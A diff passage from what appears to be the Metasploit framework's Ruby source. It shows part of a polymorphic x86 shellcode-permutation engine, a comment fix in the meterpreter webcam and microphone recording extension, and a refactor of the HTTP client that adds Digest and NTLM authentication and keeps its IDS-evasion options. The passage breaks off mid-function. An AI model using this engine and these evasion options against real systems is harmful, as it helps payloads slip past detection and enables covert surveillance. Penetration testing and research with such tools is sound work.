...go go go + # super + #end + + protected + + # + # Resolve a register number into a suitable register name. + # + def _register_value( regnum, size=nil ) + value = nil + # we default to a native 32 bits if no size is specified. + if( size.nil? ) + size = native_size() + end + + if( size == Rex::Poly::Machine::DWORD ) + value = Rex::Arch::X86::REG_NAMES32[ regnum ] + elsif( size == Rex::Poly::Machine::WORD ) + value = Rex::Arch::X86::REG_NAMES16[ regnum ] + elsif( size == Rex::Poly::Machine::BYTE ) + # (will return nil for ESI,EDI,EBP,ESP) + value = Rex::Arch::X86::REG_NAMES8L[ regnum ] + else + raise RuntimeError, "Register number '#{regnum}' (size #{size.to_i}) is unavailable." + end + return value + end + + # + # Create the x86 primitives. + # + def _create_primitives + + # + # Create the '_set_variable_location' primitive. The first param it the variable to place the current + # blocks location value in. + # + _create_primitive( '_set_variable_location', + ::Proc.new do | block, machine, variable | + if( @safe_fpu_instructions.empty? ) + raise UnallowedPermutation + end + [ + "dw #{ "0x%04X" % [ @safe_fpu_instructions[ rand(@safe_fpu_instructions.length) ].unpack( 'v' ).first ] }", + "mov #{machine.variable_value( 'temp' )}, esp", + "fnstenv [ #{machine.variable_value( 'temp' )} - 12 ]", + "pop #{machine.variable_value( variable )}" + ] + end, + ::Proc.new do | block, machine, variable | + if( @safe_fpu_instructions.empty? ) + raise UnallowedPermutation + end + [ + "dw #{ "0x%04X" % [ @safe_fpu_instructions[ rand(@safe_fpu_instructions.length) ].unpack( 'v' ).first ] }", + "mov #{machine.variable_value( 'temp' )}, esp", + "fnstenv [ #{machine.variable_value( 'temp' )} - 12 ]", + "pop #{machine.variable_value( variable )}" + ] + end, + ::Proc.new do | block, machine, variable | + if( @safe_fpu_instructions.empty? ) + raise UnallowedPermutation + end + [ + "dw #{ "0x%04X" % [ @safe_fpu_instructions[ rand(@safe_fpu_instructions.length) ].unpack( 'v' ).first ] }", + "push esp", + "pop #{machine.variable_value( 'temp' )}", + "fnstenv [ #{machine.variable_value( 'temp' )} - 12 ]", + "pop #{machine.variable_value( variable )}" + ] + end, + ::Proc.new do | block, machine, variable | + if( @safe_fpu_instructions.empty? ) + raise UnallowedPermutation + end + [ + "dw #{ "0x%04X" % [ @safe_fpu_instructions[ rand(@safe_fpu_instructions.length) ].unpack( 'v' ).first ] }", + "fnstenv [ esp - 12 ]", + "pop #{machine.variable_value( variable )}" + ] + end, + ::Proc.new do | block, machine, variable | + [ + "call $+5", + "pop #{machine.variable_value( variable )}", + "push #{machine.block_offset( block ) + 5}", + "pop #{machine.variable_value( 'temp' )}", + "sub #{machine.variable_value( variable )}, #{machine.variable_value( 'temp' )}" + ] + end, + ::Proc.new do | block, machine, variable | + [ + "db 0xE8, 0xFF, 0xFF, 0xFF, 0xFF, 0xC0", + "pop #{machine.variable_value( variable )}", + "push #{machine.block_offset( block ) + 5}", + "pop #{machine.variable_value( 'temp' )}", + "sub #{machine.variable_value( variable )}, #{machine.variable_value( 'temp' )}" + ] + end + ) + + # + # Create the 'loop' primitive. The first param it the counter variable which holds the number of + # times to perform the loop. The second param it the destination block to loop to. + # + _create_primitive( 'loop', + ::Proc.new do | block, machine, counter, destination | + if( machine.variable_value( counter ) != Rex::Arch::X86::REG_NAMES32[ Rex::Arch::X86::ECX ] ) + # we raise and UndefinedPermutation exception to indicate that untill a valid register (ECX) is + # chosen we simply can't render this. This lets the machine know we can still try to use this + # permutation and at a later stage the requirements (counter==ecx) may be satisfied. + raise UndefinedPermutation + end + offset = -( machine.block_offset( machine.block_next( block ) ) - machine.block_offset( destination ) ) + Rex::Arch::X86.loop( offset ) + end, + ::Proc.new do | block, machine, counter, destination | + offset = -( machine.block_offset( machine.block_next( block ) ) - machine.block_offset( destination ) ) + [ + "dec #{machine.variable_value( counter )}", + "test #{machine.variable_value( counter )}, #{machine.variable_value( counter )}", + # JNZ destination + "db 0x0F, 0x85 dd #{ "0x%08X" % [ offset & 0xFFFFFFFF ] }" + ] + end + ) + + # + # Create the 'xor' primitive. The first param it the variable to xor with the second param value which + # can be either a variable, literal or block offset. + # + _create_primitive( 'xor', + ::Proc.new do | block, machine, variable, value | + [ + "xor #{machine.variable_value( variable )}, #{machine.resolve_value( value )}" + ] + end, + ::Proc.new do | block, machine, variable, value | + # a ^ b == (a | b) & ~(a & b) + [ + "mov #{machine.variable_value( 'temp' )}, #{machine.variable_value( variable )}", + "or #{machine.variable_value( 'temp' )}, #{machine.resolve_value( value )}", + "and #{machine.variable_value( variable )}, #{machine.resolve_value( value )}", + "not #{machine.variable_value( variable )}", + "and #{machine.variable_value( variable )}, #{machine.variable_value( 'temp' )}" + ] + end + ) + + # + # Create the 'goto' primitive. The first param is a destination block to jump to. + # + _create_primitive( 'goto', + ::Proc.new do | block, machine, destination | + offset = -( machine.block_offset( machine.block_next( block ) ) - machine.block_offset( destination ) ) + if( ( offset > 0 and offset > 127 ) or ( offset < 0 and offset < -127 ) ) + raise UnallowedPermutation + end + [ + # short relative jump + "db 0xEB db #{ "0x%02X" % [ offset & 0xFF ] }" + ] + end, + ::Proc.new do | block, machine, destination | + offset = -( machine.block_offset( machine.block_next( block ) ) - machine.block_offset( destination ) ) + [ + # near relative jump + "db 0xE9 dd #{ "0x%08X" % [ offset & 0xFFFFFFFF ] }" + ] + end + ) + + # + # Create the 'add' primitive. The first param it the variable which will be added to the second + # param, which may either be a literal number value, a variables assigned register or a block + # name, in which case the block offset will be used. + # + _create_primitive( 'add', + ::Proc.new do | block, machine, variable, value | + if( machine.variable_exist?( value ) ) + raise UnallowedPermutation + end + [ + "lea #{machine.variable_value( variable )}, [ #{machine.variable_value( variable )} + #{machine.resolve_value( value )} ]" + ] + end, + ::Proc.new do | block, machine, variable, value | + [ + "push #{machine.resolve_value( value )}", + "add #{machine.variable_value( variable )}, [esp]", + "pop #{machine.variable_value( 'temp' )}" + ] + end, + ::Proc.new do | block, machine, variable, value | + [ + "add #{machine.variable_value( variable )}, #{machine.resolve_value( value )}" + ] + end, + ::Proc.new do | block, machine, variable, value | + if( machine.variable_exist?( value ) ) + raise UnallowedPermutation + end + [ + "sub #{machine.variable_value( variable )}, #{ "0x%08X" % [ ~(machine.resolve_value( value ) - 1) & 0xFFFFFFFF ] }" + ] + end + # ::Proc.new do | block, machine, variable, value | + # if( machine.variable_exist?( value ) ) + # raise UnallowedPermutation + # end + # [ + # "push #{ "0x%08X" % [ ~(machine.resolve_value( value ) - 1) & 0xFFFFFFFF ] }", + # "pop #{machine.variable_value( 'temp' )}", + # "not #{machine.variable_value( 'temp' )}", + # "add #{machine.variable_value( variable )}, #{machine.variable_value( 'temp' )}" + # ] + # end, + # ::Proc.new do | block, machine, variable, value | + # if( machine.variable_exist?( value ) ) + # raise UnallowedPermutation + # end + # [ + # "xor #{machine.variable_value( 'temp' )}, #{machine.variable_value( 'temp' )}", + # "mov #{machine.variable_value( 'temp', 16 )}, #{ "0x%04X" % [ ~(machine.resolve_value( value ) - 1) & 0xFFFF ] }", + # "not #{machine.variable_value( 'temp', 16 )}", + # "add #{machine.variable_value( variable )}, #{machine.variable_value( 'temp' )}" + # ] + # end, + ) + + # + # Create the 'set' primitive. The first param it the variable which will be set. the second + # param is the value to set the variable to (a variable, block or literal). + # + _create_primitive( 'set', + ::Proc.new do | block, machine, variable, value | + if( machine.variable_exist?( value ) ) + raise UnallowedPermutation + end + [ + "push #{ "0x%08X" % [ ~machine.resolve_value( value ) & 0xFFFFFFFF ] }", + "pop #{machine.variable_value( variable )}", + "not #{machine.variable_value( variable )}" + ] + end, + ::Proc.new do | block, machine, variable, value | + if( machine.variable_exist?( value ) ) + raise UnallowedPermutation + end + if( machine.resolve_value( value, WORD ) > 0xFFFF ) + raise UndefinedPermutation + end + [ + "xor #{machine.variable_value( variable )}, #{machine.variable_value( variable )}", + "mov #{machine.variable_value( variable, WORD )}, #{ "0x%04X" % [ ~machine.resolve_value( value, WORD ) & 0xFFFF ] }", + "not #{machine.variable_value( variable, WORD )}" + ] + end, + ::Proc.new do | block, machine, variable, value | + [ + "push #{machine.resolve_value( value )}", + "pop #{machine.variable_value( variable )}" + ] + end, + ::Proc.new do | block, machine, variable, value | + [ + "mov #{machine.variable_value( variable )}, #{machine.resolve_value( value )}" + ] + end, + ::Proc.new do | block, machine, variable, value | + if( machine.variable_exist?( value ) ) + raise UnallowedPermutation + end + if( machine.resolve_value( value, WORD ) > 0xFFFF ) + raise UndefinedPermutation + end + [ + "xor #{machine.variable_value( variable )}, #{machine.variable_value( variable )}", + "mov #{machine.variable_value( variable, WORD )}, #{ "0x%04X" % [ machine.resolve_value( value, WORD ) & 0xFFFF ] }" + ] + end, + ::Proc.new do | block, machine, variable, value | + if( machine.variable_exist?( value ) ) + raise UnallowedPermutation + end + dword = machine.make_safe_dword( machine.resolve_value( value ) ) + [ + "mov #{machine.variable_value( variable )}, #{ "0x%08X" % [ dword ] }", + "sub #{machine.variable_value( variable )}, #{ "0x%08X" % [ dword - machine.resolve_value( value ) ] }" + ] + end, + ::Proc.new do | block, machine, variable, value | + if( machine.variable_exist?( value ) ) + raise UnallowedPermutation + end + dword = machine.make_safe_dword( machine.resolve_value( value ) ) + [ + "mov #{machine.variable_value( variable )}, #{ "0x%08X" % [ dword - machine.resolve_value( value ) ] }", + "add #{machine.variable_value( variable )}, #{ "0x%08X" % [ ~dword & 0xFFFFFFFF ] }", + "not #{machine.variable_value( variable )}" + ] + end + ) + + # + # Create the 'load' primitive. The first param it the variable which will be set. The second + # param is the value (either a variable or literal) to load from. the third param is the size + # of the load operation, either DWORD, WORD or BYTE. + # + _create_primitive( 'load', + ::Proc.new do | block, machine, variable, value, size | + result = nil + if( size == Rex::Poly::Machine::DWORD ) + result = [ "mov #{machine.variable_value( variable )}, [#{machine.resolve_value( value )}]" ] + elsif( size == Rex::Poly::Machine::WORD ) + result = [ "movzx #{machine.variable_value( variable )}, word [#{machine.resolve_value( value )}]" ] + elsif( size == Rex::Poly::Machine::BYTE ) + result = [ "movzx #{machine.variable_value( variable )}, byte [#{machine.resolve_value( value )}]" ] + else + raise InvalidPermutation + end + result + end, + ::Proc.new do | block, machine, variable, value, size | + result = nil + if( size == Rex::Poly::Machine::DWORD ) + # we raise and UnallowedPermutation here as this permutation should only satisfy requests for + # sizes of WORD or BYTE, any DWORD requests will be satisfied by the above permutation (otherwise + # we would just be duplicating a 'mov dest, [src]' sequence which is the same as above. + raise UnallowedPermutation + elsif( size == Rex::Poly::Machine::WORD ) + result = [ + "mov #{machine.variable_value( variable )}, [#{machine.resolve_value( value )}]", + "shl #{machine.variable_value( variable )}, 16", + "shr #{machine.variable_value( variable )}, 16" + ] + elsif( size == Rex::Poly::Machine::BYTE ) + result = [ + "mov #{machine.variable_value( variable )}, [#{machine.resolve_value( value )}]", + "shl #{machine.variable_value( variable )}, 24", + "shr #{machine.variable_value( variable )}, 24" + ] + else + raise InvalidPermutation + end + result + end, + ::Proc.new do | block, machine, variable, value, size | + result = nil + if( size == Rex::Poly::Machine::DWORD ) + result = [ + "push [#{machine.resolve_value( value )}]", + "pop #{machine.variable_value( variable )}" + ] + elsif( size == Rex::Poly::Machine::WORD ) + result = [ + "push [#{machine.resolve_value( value )}]", + "pop #{machine.variable_value( variable )}", + "shl #{machine.variable_value( variable )}, 16", + "shr #{machine.variable_value( variable )}, 16" + ] + elsif( size == Rex::Poly::Machine::BYTE ) + result = [ + "push [#{machine.resolve_value( value )}]", + "pop #{machine.variable_value( variable )}", + "shl #{machine.variable_value( variable )}, 24", + "shr #{machine.variable_value( variable )}, 24" + ] + else + raise InvalidPermutation + end + result + end + ) + + # + # Create the 'store' primitive. + # + _create_primitive( 'store', + ::Proc.new do | block, machine, variable, value, size | + result = nil + if( size == Rex::Poly::Machine::DWORD ) + result = [ "mov [#{machine.variable_value( variable )}], #{machine.resolve_value( value )}" ] + elsif( size == Rex::Poly::Machine::WORD ) + result = [ "mov word [#{machine.variable_value( variable )}], #{machine.resolve_value( value, WORD )}" ] + elsif( size == Rex::Poly::Machine::BYTE ) + if( machine.resolve_value( value, BYTE ).nil? ) + # so long as we cant resolve the variable to an 8bit register value (AL,BL,CL,DL) we must raise + # an UndefinedPermutation exception (this will happen when the variable has been assigned to ESI, + # EDI, EBP or ESP which dont have a low byte representation) + raise UndefinedPermutation + end + result = [ "mov byte [#{machine.variable_value( variable )}], #{machine.resolve_value( value, BYTE )}" ] + else + raise InvalidPermutation + end + result + end, + ::Proc.new do | block, machine, variable, value, size | + result = nil + if( size == Rex::Poly::Machine::DWORD ) + result = [ + "push #{machine.resolve_value( value )}", + "pop [#{machine.variable_value( variable )}]" + ] + elsif( size == Rex::Poly::Machine::WORD ) + result = [ + "push #{machine.resolve_value( value, WORD )}", + "pop word [#{machine.variable_value( variable )}]" + ] + else + # we can never do this permutation for BYTE size (or any other size) + raise UnallowedPermutation + end + result + end + ) + end + + end + + end + +end \ No newline at end of file diff --git a/lib/rex/post/meterpreter/extensions/stdapi/webcam/webcam.rb b/lib/rex/post/meterpreter/extensions/stdapi/webcam/webcam.rb index 1a2d5cc478..b66fc1707e 100644 --- a/lib/rex/post/meterpreter/extensions/stdapi/webcam/webcam.rb +++ b/lib/rex/post/meterpreter/extensions/stdapi/webcam/webcam.rb @@ -28,7 +28,7 @@ class Webcam names end - # Starts recording video from video source of index #{cam} + # Starts recording video from video source of index +cam+ def webcam_start(cam) request = Packet.create_request('webcam_start') request.add_tlv(TLV_TYPE_WEBCAM_INTERFACE_ID, cam) @@ -48,7 +48,7 @@ class Webcam true end - # Record from default audio source for #{duration} seconds; + # Record from default audio source for +duration+ seconds; # returns a low-quality wav file def record_mic(duration) request = Packet.create_request('webcam_audio_record') diff --git a/lib/rex/proto/http.rb b/lib/rex/proto/http.rb index 1ff65061ec..85a4f31e3c 100644 --- a/lib/rex/proto/http.rb +++ b/lib/rex/proto/http.rb @@ -4,3 +4,4 @@ require 'rex/proto/http/request' require 'rex/proto/http/response' require 'rex/proto/http/client' require 'rex/proto/http/server' +require 'rex/proto/http/client_request' \ No newline at end of file diff --git a/lib/rex/proto/http/client.rb b/lib/rex/proto/http/client.rb index 0572ea02ff..f360701556 100644 --- a/lib/rex/proto/http/client.rb +++ b/lib/rex/proto/http/client.rb @@ -2,6 +2,13 @@ require 'rex/socket' require 'rex/proto/http' require 'rex/text' +require 'digest' +require 'rex/proto/ntlm/crypt' +require 'rex/proto/ntlm/constants' +require 'rex/proto/ntlm/utils' +require 'rex/proto/ntlm/exceptions' + +require 'rex/proto/http/client_request' module Rex module Proto @@ -16,55 +23,28 @@ module Http ### class Client - DefaultUserAgent = "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)" + DefaultUserAgent = ClientRequest::DefaultUserAgent # # Creates a new client instance # - def initialize(host, port = 80, context = {}, ssl = nil, ssl_version = nil, proxies = nil) + def initialize(host, port = 80, context = {}, ssl = nil, ssl_version = nil, proxies = nil, username = '', password = '') self.hostname = host self.port = port.to_i self.context = context self.ssl = ssl self.ssl_version = ssl_version self.proxies = proxies - self.config = { + self.username = username + self.password = password + + # Take ClientRequest's defaults, but override with our own + self.config = Http::ClientRequest::DefaultConfig.merge({ 'read_max_data' => (1024*1024*1), 'vhost' => self.hostname, - 'version' => '1.1', - 'agent' => DefaultUserAgent, - # - # Evasion options - # - 'uri_encode_mode' => 'hex-normal', # hex-all, hex-random, u-normal, u-random, u-all - 'uri_encode_count' => 1, # integer - 'uri_full_url' => false, # bool - 'pad_method_uri_count' => 1, # integer - 'pad_uri_version_count' => 1, # integer - 'pad_method_uri_type' => 'space', # space, tab, apache - 'pad_uri_version_type' => 'space', # space, tab, apache - 'method_random_valid' => false, # bool - 'method_random_invalid' => false, # bool - 'method_random_case' => false, # bool - 'version_random_valid' => false, # bool - 'version_random_invalid' => false, # bool - 'version_random_case' => false, # bool - 'uri_dir_self_reference' => false, # bool - 'uri_dir_fake_relative' => false, # bool - 'uri_use_backslashes' => false, # bool - 'pad_fake_headers' => false, # bool - 'pad_fake_headers_count' => 16, # integer - 'pad_get_params' => false, # bool - 'pad_get_params_count' => 8, # integer - 'pad_post_params' => false, # bool - 'pad_post_params_count' => 8, # integer - 'uri_fake_end' => false, # bool - 'uri_fake_params_start' => false, # bool - 'header_folding' => false, # bool - 'chunked_size' => 0 # integer - } + }) - # This is not used right now... + # XXX: This info should all be controlled by ClientRequest self.config_types = { 'uri_encode_mode' => ['hex-normal', 'hex-all', 'hex-random', 'u-normal', 'u-random', 'u-all'], 'uri_encode_count' => 'integer', @@ -93,6 +73,8 @@ class Client 'header_folding' => 'bool', 'chunked_size' => 'integer' } + + end # @@ -124,186 +106,67 @@ class Client self.config[var]=val end - end # # Create an arbitrary HTTP request # + # @param opts [Hash] + # @option opts 'agent' [String] User-Agent header value + # @option opts 'connection' [String] Connection header value + # @option opts 'cookie' [String] Cookie header value + # @option opts 'data' [String] HTTP data (only useful with some methods, see rfc2616) + # @option opts 'encode' [Bool] URI encode the supplied URI, default: false + # @option opts 'headers' [Hash] HTTP headers, e.g. { "X-MyHeader" => "value" } + # @option opts 'method' [String] HTTP method to use in the request, not limited to standard methods defined by rfc2616, default: GET + # @option opts 'proto' [String] protocol, default: HTTP + # @option opts 'query' [String] raw query string + # @option opts 'raw_headers' [Hash] HTTP headers + # @option opts 'uri' [String] the URI to request + # @option opts 'version' [String] version of the protocol, default: 1.1 + # @option opts 'vhost' [String] Host header value + # + # @return [ClientRequest] def request_raw(opts={}) - c_enc = opts['encode'] || false - c_uri = opts['uri'] || '/' - c_body = opts['data'] || '' - c_meth = opts['method'] || 'GET' - c_prot = opts['proto'] || 'HTTP' - c_vers = opts['version'] || config['version'] || '1.1' - c_qs = opts['query'] - c_ag = opts['agent'] || config['agent'] - c_cook = opts['cookie'] || config['cookie'] - c_host = opts['vhost'] || config['vhost'] || self.hostname - c_head = opts['headers'] || config['headers'] || {} - c_rawh = opts['raw_headers']|| config['raw_headers'] || '' - c_conn = opts['connection'] - c_auth = opts['basic_auth'] || config['basic_auth'] || '' - - # An agent parameter was specified, but so was a header, prefer the header - if c_ag and c_head.keys.map{|x| x.downcase }.include?('user-agent') - c_ag = nil - end + opts = self.config.merge(opts) - uri = set_uri(c_uri) - - req = '' - req << set_method(c_meth) - req << set_method_uri_spacer() - req << set_uri_prepend() - req << (c_enc ? set_encode_uri(uri) : uri) - - if (c_qs) - req << '?' - req << (c_enc ? set_encode_qs(c_qs) : c_qs) - end - - req << set_uri_append() - req << set_uri_version_spacer() - req << set_version(c_prot, c_vers) - req << set_host_header(c_host) - req << set_agent_header(c_ag) - - - if (c_auth.length > 0) - req << set_basic_auth_header(c_auth) - end - - req << set_cookie_header(c_cook) - req << set_connection_header(c_conn) - req << set_extra_headers(c_head) - req << set_raw_headers(c_rawh) - req << set_body(c_body) - - req + opts['ssl'] = self.ssl + opts['cgi'] = false + opts['port'] = self.port + + req = ClientRequest.new(opts) end # # Create a CGI compatible request # - # Options: - # - agent: User-Agent header value - # - basic_auth: Basic-Auth header value - # - connection: Connection header value - # - cookie: Cookie header value - # - ctype: Content-Type header value, default: +application/x-www-form-urlencoded+ - # - data: HTTP data (only useful with some methods, see rfc2616) - # - encode: URI encode the supplied URI, default: false - # - encode_params: URI encode the GET or POST variables (names and values), default: true - # - headers: HTTP headers as a hash, e.g. { "X-MyHeader" => "value" } - # - method: HTTP method to use in the request, not limited to standard methods defined by rfc2616, default: GET - # - proto: protocol, default: HTTP - # - query: raw query string - # - raw_headers: HTTP headers as a hash - # - uri: the URI to request - # - vars_get: GET variables as a hash to be translated into a query string - # - vars_post: POST variables as a hash to be translated into POST data - # - version: version of the protocol, default: 1.1 - # - vhost: Host header value + # @param (see #request_raw) + # @option opts (see #request_raw) + # @option opts 'ctype' [String] Content-Type header value, default: +application/x-www-form-urlencoded+ + # @option opts 'encode_params' [Bool] URI encode the GET or POST variables (names and values), default: true + # @option opts 'vars_get' [Hash] GET variables as a hash to be translated into a query string + # @option opts 'vars_post' [Hash] POST variables as a hash to be translated into POST data # + # @return [ClientRequest] def request_cgi(opts={}) - c_enc = opts['encode'] || false - c_enc_p = (opts['encode_params'] == true or opts['encode_params'].nil? ? true : false) - c_cgi = opts['uri'] || '/' - c_body = opts['data'] || '' - c_meth = opts['method'] || 'GET' - c_prot = opts['proto'] || 'HTTP' - c_vers = opts['version'] || config['version'] || '1.1' - c_qs = opts['query'] || '' - c_varg = opts['vars_get'] || {} - c_varp = opts['vars_post'] || {} - c_head = opts['headers'] || config['headers'] || {} - c_rawh = opts['raw_headers'] || config['raw_headers'] || '' - c_type = opts['ctype'] || 'application/x-www-form-urlencoded' - c_ag = opts['agent'] || config['agent'] - c_cook = opts['cookie'] || config['cookie'] - c_host = opts['vhost'] || config['vhost'] - c_conn = opts['connection'] - c_path = opts['path_info'] - c_auth = opts['basic_auth'] || config['basic_auth'] || '' - uri = set_cgi(c_cgi) - qstr = c_qs - pstr = c_body - - if (config['pad_get_params']) - 1.upto(config['pad_get_params_count'].to_i) do |i| - qstr << '&' if qstr.length > 0 - qstr << set_encode_uri(Rex::Text.rand_text_alphanumeric(rand(32)+1)) - qstr << '=' - qstr << set_encode_uri(Rex::Text.rand_text_alphanumeric(rand(32)+1)) - end - end - - c_varg.each_pair do |var,val| - qstr << '&' if qstr.length > 0 - qstr << (c_enc_p ? set_encode_uri(var) : var) - qstr << '=' - qstr << (c_enc_p ? set_encode_uri(val) : val) - end - - if (config['pad_post_params']) - 1.upto(config['pad_post_params_count'].to_i) do |i| - rand_var = Rex::Text.rand_text_alphanumeric(rand(32)+1) - rand_val = Rex::Text.rand_text_alphanumeric(rand(32)+1) - pstr << '&' if pstr.length > 0 - pstr << (c_enc_p ? set_encode_uri(rand_var) : rand_var) - pstr << '=' - pstr << (c_enc_p ? set_encode_uri(rand_val) : rand_val) - end - end - - c_varp.each_pair do |var,val| - pstr << '&' if pstr.length > 0 - pstr << (c_enc_p ? set_encode_uri(var) : var) - pstr << '=' - pstr << (c_enc_p ? set_encode_uri(val) : val) - end - - req = '' - req << set_method(c_meth) - req << set_method_uri_spacer() - req << set_uri_prepend() - req << (c_enc ? set_encode_uri(uri):uri) - - if (qstr.length > 0) - req << '?' - req << qstr - end - - req << set_path_info(c_path) - req << set_uri_append() - req << set_uri_version_spacer() - req << set_version(c_prot, c_vers) - req << set_host_header(c_host) - req << set_agent_header(c_ag) - - if (c_auth.length > 0) - req << set_basic_auth_header(c_auth) - end - - req << set_cookie_header(c_cook) - req << set_connection_header(c_conn) - req << set_extra_headers(c_head) - - req << set_content_type_header(c_type) - req << set_content_len_header(pstr.length) - req << set_chunked_header() - req << set_raw_headers(c_rawh) - req << set_body(pstr) + opts = self.config.merge(opts) + + opts['ctype'] ||= 'application/x-www-form-urlencoded' + opts['ssl'] = self.ssl + opts['cgi'] = true + opts['port'] = self.port + req = ClientRequest.new(opts) req end # # Connects to the remote server if possible. # + # @param t [Fixnum] Timeout + # @see Rex::Socket::Tcp.create + # @return [Rex::Socket::Tcp] def connect(t = -1) # If we already have a connection and we aren't pipelining, close it. if (self.conn) @@ -342,11 +205,31 @@ class Client end # - # Transmit an HTTP request and receive the response - # If persist is set, then the request will attempt - # to reuse an existing connection. + # Sends a request and gets a response back # + # If the request is a 401, and we have creds, it will attempt to complete + # authentication and return the final response + # + # @return (see #_send_recv) def send_recv(req, t = -1, persist=false) + res = _send_recv(req,t,persist) + if res and res.code == 401 and res.headers['WWW-Authenticate'] + res = send_auth(res, req.opts, t, persist) + end + res + end + + # + # Transmit an HTTP request and receive the response + # + # If persist is set, then the request will attempt to reuse an existing + # connection. + # + # Call this directly instead of {#send_recv} if you don't want automatic + # authentication handling. + # + # @return (see #read_response) + def _send_recv(req, t = -1, persist=false) @pipeline = persist send_request(req, t) res = read_response(t) @@ -357,14 +240,329 @@ class Client # # Send an HTTP request to the server # + # @param req [Request,ClientRequest,#to_s] The request to send + # @param t (see #connect) + # + # @return [void] def send_request(req, t = -1) connect(t) conn.put(req.to_s) end + # Resends an HTTP Request with the propper authentcation headers + # set. If we do not support the authentication type the server requires + # we return the original response object + # + # @param res [Response] the HTTP Response object + # @param opts [Hash] the options used to generate the original HTTP request + # @param t [Fixnum] the timeout for the request in seconds + # @param persist [Boolean] whether or not to persist the TCP connection (pipelining) + # + # @return [Response] the last valid HTTP response object we received + def send_auth(res, opts, t, persist) + if opts['username'].nil? or opts['username'] == '' + if self.username and not (self.username == '') + opts['username'] = self.username + opts['password'] = self.password + else + opts['username'] = nil + opts['password'] = nil + end + end + + return res if opts['username'].nil? or opts['username'] == '' + supported_auths = res.headers['WWW-Authenticate'] + if supported_auths.include? 'Basic' + opts['headers'] ||= {} + opts['headers']['Authorization'] = basic_auth_header(opts['username'],opts['password'] ) + req = request_cgi(opts) + res = _send_recv(req,t,persist) + return res + elsif supported_auths.include? "Digest" + temp_response = digest_auth(opts) + if temp_response.kind_of? Rex::Proto::Http::Response + res = temp_response + end + return res + elsif supported_auths.include? "NTLM" + opts['provider'] = 'NTLM' + temp_response = negotiate_auth(opts) + if temp_response.kind_of? Rex::Proto::Http::Response + res = temp_response + end + return res + elsif supported_auths.include? "Negotiate" + opts['provider'] = 'Negotiate' + temp_response = negotiate_auth(opts) + if temp_response.kind_of? Rex::Proto::Http::Response + res = temp_response + end + return res + end + return res + end + + # Converts username and password into the HTTP Basic authorization + # string. + # + # @return [String] A value suitable for use as an Authorization header + def basic_auth_header(username,password) + auth_str = username.to_s + ":" + password.to_s + auth_str = "Basic " + Rex::Text.encode_base64(auth_str) + end + + # Send a series of requests to complete Digest Authentication + # + # @param opts [Hash] the options used to build an HTTP request + # + # @return [Response] the last valid HTTP response we received + def digest_auth(opts={}) + @nonce_count = 0 + + to = opts['timeout'] || 20 + + digest_user = opts['username'] || "" + digest_password = opts['password'] || "" + + method = opts['method'] + path = opts['uri'] + iis = true + if (opts['DigestAuthIIS'] == false or self.config['DigestAuthIIS'] == false) + iis = false + end + + begin + @nonce_count += 1 + + resp = opts['response'] + + if not resp + # Get authentication-challenge from server, and read out parameters required + r = request_cgi(opts.merge({ + 'uri' => path, + 'method' => method })) + resp = _send_recv(r, to) + unless resp.kind_of? Rex::Proto::Http::Response + return nil + end + + if resp.code != 401 + return resp + end + return resp unless resp.headers['WWW-Authenticate'] + end + + # Don't anchor this regex to the beginning of string because header + # folding makes it appear later when the server presents multiple + # WWW-Authentication options (such as is the case with IIS configured + # for Digest or NTLM). + resp['www-authenticate'] =~ /Digest (.*)/ + + parameters = {} + $1.split(/,[[:space:]]*/).each do |p| + k, v = p.split("=", 2) + parameters[k] = v.gsub('"', '') + end + + qop = parameters['qop'] + + if parameters['algorithm'] =~ /(.*?)(-sess)?$/ + algorithm = case $1 + when 'MD5' then Digest::MD5 + when 'SHA1' then Digest::SHA1 + when 'SHA2' then Digest::SHA2 + when 'SHA256' then Digest::SHA256 + when 'SHA384' then Digest::SHA384 + when 'SHA512' then Digest::SHA512 + when 'RMD160' then Digest::RMD160 + else raise Error, "unknown algorithm \"#{$1}\"" + end + algstr = parameters["algorithm"] + sess = $2 + else + algorithm = Digest::MD5 + algstr = "MD5" + sess = false + end + + a1 = if sess then + [ + algorithm.hexdigest("#{digest_user}:#{parameters['realm']}:#{digest_password}"), + parameters['nonce'], + @cnonce + ].join ':' + else + "#{digest_user}:#{parameters['realm']}:#{digest_password}" + end + + ha1 = algorithm.hexdigest(a1) + ha2 = algorithm.hexdigest("#{method}:#{path}") + + request_digest = [ha1, parameters['nonce']] + request_digest.push(('%08x' % @nonce_count), @cnonce, qop) if qop + request_digest << ha2 + request_digest = request_digest.join ':' + + # Same order as IE7 + auth = [ + "Digest username=\"#{digest_user}\"", + "realm=\"#{parameters['realm']}\"", + "nonce=\"#{parameters['nonce']}\"", + "uri=\"#{path}\"", + "cnonce=\"#{@cnonce}\"", + "nc=#{'%08x' % @nonce_count}", + "algorithm=#{algstr}", + "response=\"#{algorithm.hexdigest(request_digest)[0, 32]}\"", + # The spec says the qop value shouldn't be enclosed in quotes, but + # some versions of IIS require it and Apache accepts it. Chrome + # and Firefox both send it without quotes but IE does it this way. + # Use the non-compliant-but-everybody-does-it to be as compatible + # as possible by default. The user can override if they don't like + # it. + if qop.nil? then + elsif iis then + "qop=\"#{qop}\"" + else + "qop=#{qop}" + end, + if parameters.key? 'opaque' then + "opaque=\"#{parameters['opaque']}\"" + end + ].compact + + headers ={ 'Authorization' => auth.join(', ') } + headers.merge!(opts['headers']) if opts['headers'] + + # Send main request with authentication + r = request_cgi(opts.merge({ + 'uri' => path, + 'method' => method, + 'headers' => headers })) + resp = _send_recv(r, to, true) + unless resp.kind_of? Rex::Proto::Http::Response + return nil + end + + return resp + + rescue ::Errno::EPIPE, ::Timeout::Error + end + end + + # + # Builds a series of requests to complete Negotiate Auth. Works essentially + # the same way as Digest auth. Same pipelining concerns exist. + # + # @option opts (see #send_request_cgi) + # @option opts provider ["Negotiate","NTLM"] What Negotiate provider to use + # + # @return [Response] the last valid HTTP response we received + def negotiate_auth(opts={}) + ntlm_options = { + :signing => false, + :usentlm2_session => self.config['usentlm2_session'], + :use_ntlmv2 => self.config['use_ntlmv2'], + :send_lm => self.config['send_lm'], + :send_ntlm => self.config['send_ntlm'] + } + + to = opts['timeout'] || 20 + opts['username'] ||= '' + opts['password'] ||= '' + + if opts['provider'] and opts['provider'].include? 'Negotiate' + provider = "Negotiate " + else + provider = 'NTLM ' + end + + opts['method']||= 'GET' + opts['headers']||= {} + + ntlmssp_flags = ::Rex::Proto::NTLM::Utils.make_ntlm_flags(ntlm_options) + workstation_name = Rex::Text.rand_text_alpha(rand(8)+1) + domain_name = self.config['domain'] + + b64_blob = Rex::Text::encode_base64( + ::Rex::Proto::NTLM::Utils::make_ntlmssp_blob_init( + 